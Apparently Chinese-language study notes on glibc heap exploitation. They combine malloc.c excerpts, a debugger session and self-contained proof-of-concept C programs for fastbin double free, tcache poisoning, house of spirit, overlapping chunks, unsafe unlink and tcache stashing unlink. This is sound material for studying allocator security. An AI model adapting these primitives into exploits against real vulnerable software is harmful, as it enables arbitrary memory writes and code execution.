structmalloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ structmalloc_chunk* fd;/* double links -- used only if free. */ structmalloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ structmalloc_chunk* fd_nextsize;/* double links -- used only if free. */ structmalloc_chunk* bk_nextsize; }; typedefstructmalloc_chunk* mchunkptr;
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */ # define TCACHE_MAX_BINS 64 /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedefstructtcache_entry { structtcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key; } tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedefstructtcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain() { setbuf(stdout, NULL); printf("This file demonstrates a simple double-free attack with fastbins.\n"); printf("Fill up tcache first.\n"); void *ptrs[8]; for (int i=0; i<8; i++) { ptrs[i] = malloc(8); } for (int i=0; i<7; i++) { free(ptrs[i]); } printf("Allocating 3 buffers.\n"); int *a = calloc(1, 8); int *b = calloc(1, 8); int *c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c); printf("Freeing the first one...\n"); free(a); printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); printf("So, instead, we'll free %p.\n", b); free(b); printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c); assert(a == c); }
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain() { setbuf(stdout, NULL); printf("This file demonstrates the house of spirit attack on tcache.\n"); printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); printf("Ok. Let's start with the example!.\n\n"); printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1); printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsignedlonglong *a; //pointer that will be overwritten unsignedlonglong fake_chunks[10]; //fake chunk region printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; printf("Freeing the overwritten pointer.\n"); free(a); printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); void *b = malloc(0x30); printf("malloc(0x30): %p\n", b); assert((long)b == (long)&fake_chunks[2]); }
In file: /home/wuhao/tools/glibc-2.34/malloc/malloc.c 3238 __libc_free (void *mem) 3239 { 3240 mstate ar_ptr; 3241 mchunkptr p; /* chunk corresponding to mem */ 3242 ► 3243if (mem == 0) /* free(0) has no effect */ 3244return; 3245 3246/* Quickly check that the freed pointer matches the tag for the memory. 3247 This gives a useful double-free detection. */ 3248if (__glibc_unlikely (mtag_enabled))
继续调试,调用mem2chunk,将传入的参数,获取指向伪chunk头的指针。
1 2 3 4 5 6 7 8 9 10 11
/* conversion from malloc headers to user pointers, and back */ #define chunk2mem(p) ((void *) ((char *) (p) + 2 * SIZE_SZ)) #define mem2chunk(mem) ((mchunkptr)((char *) (mem) -2 * SIZE_SZ))
pwndbg> p mem $4 = (void *) 0x7fffffffdeb0 pwndbg> p p $5 = (mchunkptr) 0x7fffffffdea0
if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory - in which case, we just keep trying later. However, we typically do this very early, so either there is sufficient memory, or there isn't enough memory to do non-trivial allocations anyway. */ if (victim) { tcache = (tcache_perthread_struct *) victim; memset (tcache, 0, sizeof (tcache_perthread_struct)); }
staticvoid _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */
size = chunksize (p);
/* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. */ if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { /* Check to see if it's already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache_key)) { tcache_entry *tmp; size_t cnt = 0; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next), ++cnt) { if (cnt >= mp_.tcache_count) malloc_printerr ("free(): too many chunks detected in tcache"); if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2"); if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ } }
我们可以修改chunk的size部分,达到将两个或者多个chunk合并成一个chunk。如果两个chunk是连着的,我们去修改上面chunk_a的size,这样free处理第一个chunk的时候,会将其free到更大一点size的tcache bin 链中,这时候我们在malloc一个大一点size空间,就会从这个tcache bin中取出这个chunk_c,这时候的这个chunk空间实际上包括了原来下面chunk_c的空间的。
/* A simple tale of overlapping chunk. This technique is taken from http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */ #include<stdio.h> #include<stdlib.h> #include<string.h> #include<stdint.h> #include<assert.h> intmain(int argc , char* argv[]) { setbuf(stdout, NULL); long *p1,*p2,*p3,*p4; printf("\nThis is another simple chunks overlapping problem\n"); printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" "and the prev_size of it must match the unsortedbin's size\n" "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); printf("Let's start to allocate 4 chunks on the heap\n"); p1 = malloc(0x80 - 8); p2 = malloc(0x500 - 8); p3 = malloc(0x80 - 8); printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); memset(p1, '1', 0x80 - 8); memset(p2, '2', 0x500 - 8); memset(p3, '3', 0x80 - 8); printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); int evil_chunk_size = 0x581; int evil_region_size = 0x580 - 8; printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", evil_chunk_size, evil_region_size); /* VULNERABILITY */ *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 /* VULNERABILITY */ printf("\nNow let's free the chunk p2\n"); free(p2); printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); printf("\nNow let's allocate another chunk with a size equal to the data\n" "size of the chunk p2 injected size\n"); printf("This malloc will be served from the previously freed chunk that\n" "is parked in the unsorted bin which size has been modified by us\n"); p4 = malloc(evil_region_size); printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8); printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); printf("Let's run through an example. Right now, we have:\n"); printf("p4 = %s\n", (char *)p4); printf("p3 = %s\n", (char *)p3); printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); memset(p4, '4', evil_region_size); printf("p4 = %s\n", (char *)p4); printf("p3 = %s\n", (char *)p3); printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); memset(p3, '3', 80); printf("p4 = %s\n", (char *)p4); printf("p3 = %s\n", (char *)p3); assert(strstr((char *)p4, (char *)p3)); }
/* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */ #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
#include<stdio.h> #include<stdlib.h> #include<stdint.h> #include<assert.h> intmain() { // disable buffering setbuf(stdin, NULL); setbuf(stdout, NULL); printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" "An heap address leak is needed to perform tcache poisoning.\n" "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); size_t stack_var[0x10]; size_t *target = NULL; // choose a properly aligned target address for(int i=0; i<0x10; i++) { if(((long)&stack_var[i] & 0xf) == 0) { target = &stack_var[i]; break; } } assert(target != NULL); printf("The address we want malloc() to return is %p.\n", target); printf("Allocating 2 buffers.\n"); intptr_t *a = malloc(128); printf("malloc(128): %p\n", a); intptr_t *b = malloc(128); printf("malloc(128): %p\n", b); printf("Freeing the buffers...\n"); free(a); free(b); printf("Now the tcache list has [ %p -> %p ].\n", b, a); printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); // VULNERABILITY // the following operation assumes the address of b is known, which requires a heap leak b[0] = (intptr_t)((long)target ^ (long)b >> 12); // VULNERABILITY printf("Now the tcache list has [ %p -> %p ].\n", b, target); printf("1st malloc(128): %p\n", malloc(128)); printf("Now the tcache list has [ %p ].\n", target); intptr_t *c = malloc(128); printf("2nd malloc(128): %p\n", c); printf("We got the control\n"); assert((long)target == (long)c); return0; }
/* Take a chunk off a bin list. */ staticvoid unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd; mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list");
fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)");
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<stdint.h> #include<assert.h> uint64_t *chunk0_ptr; intmain() { setbuf(stdout, NULL); printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 20.04 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin int header_size = 2; printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); printf("We create a fake chunk inside chunk0.\n"); printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n"); chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1; printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr); printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string); // sanity check assert(*(long *)victim_string == 0x4141414142424242L); }
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain(){ unsignedlong stack_var[0x10] = {0}; unsignedlong *chunk_lis[0x10] = {0}; unsignedlong *target; setbuf(stdout, NULL); printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); // stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); stack_var[3] = (unsignedlong)(&stack_var[2]); printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n"); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); } //put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); malloc(0xa0);// size > 0x90 //now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); malloc(0x90); malloc(0x90); printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsignedlong)stack_var; /*VULNERABILITY*/ //trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); calloc(1,0x90); printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); //malloc and return our fake chunk on stack target = malloc(0x90); printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); assert(target == &stack_var[2]); return0; }
简化后。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain(){ size_t stack_var[4]; size_t *ptrs[14]; for (int i = 0; i < 14; i++) ptrs[i] = malloc(0x40); for (int i = 0; i < 14; i++) free(ptrs[i]); for (int i = 0; i < 7; i++) ptrs[i] = malloc(0x40); // clean tcache size_t *victim = ptrs[7]; victim[0] = (long)&stack_var[0] ^ ((long)victim >> 12); //poison fastbin malloc(0x40); // trigger,get one from fastbin then move the rest to tcache size_t *q = malloc(0x40); assert(q == &stack_var[2]); }
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain(){ unsignedlong stack_var[0x10] = {0}; unsignedlong *chunk_lis[0x10] = {0}; unsignedlong *target; setbuf(stdout, NULL); printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); // stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); stack_var[3] = (unsignedlong)(&stack_var[2]); printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n"); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); } //put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); malloc(0xa0);// size > 0x90 //now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); malloc(0x90); malloc(0x90); printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsignedlong)stack_var; /*VULNERABILITY*/ //trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); calloc(1,0x90); printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); //malloc and return our fake chunk on stack target = malloc(0x90); printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); assert(target == &stack_var[2]); return0; }
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain(){ size_t stack_var[8] = {0}; size_t *x[10]; stack_var[3] = (size_t)(&stack_var[2]); for(int i = 0;i < 10;i++) x[i] = (size_t *)malloc(0x80); for(int i = 3;i < 10;i++) free(x[i]); free(x[0]);//into unsorted bin, x[1] avoid merge free(x[2]);//into unsorted bin malloc(0x100);// bigger so all into small bin malloc(0x80); // cash one from tcache bin malloc(0x80); // cash one from tcache bin x[2][1] = (size_t)stack_var; //poison smallbin calloc(1,0x80); // cash x[0] from smallbin, move the other 2 into tcache bin assert(malloc(0x80) == &stack_var[2]); return0; }
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin;
if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;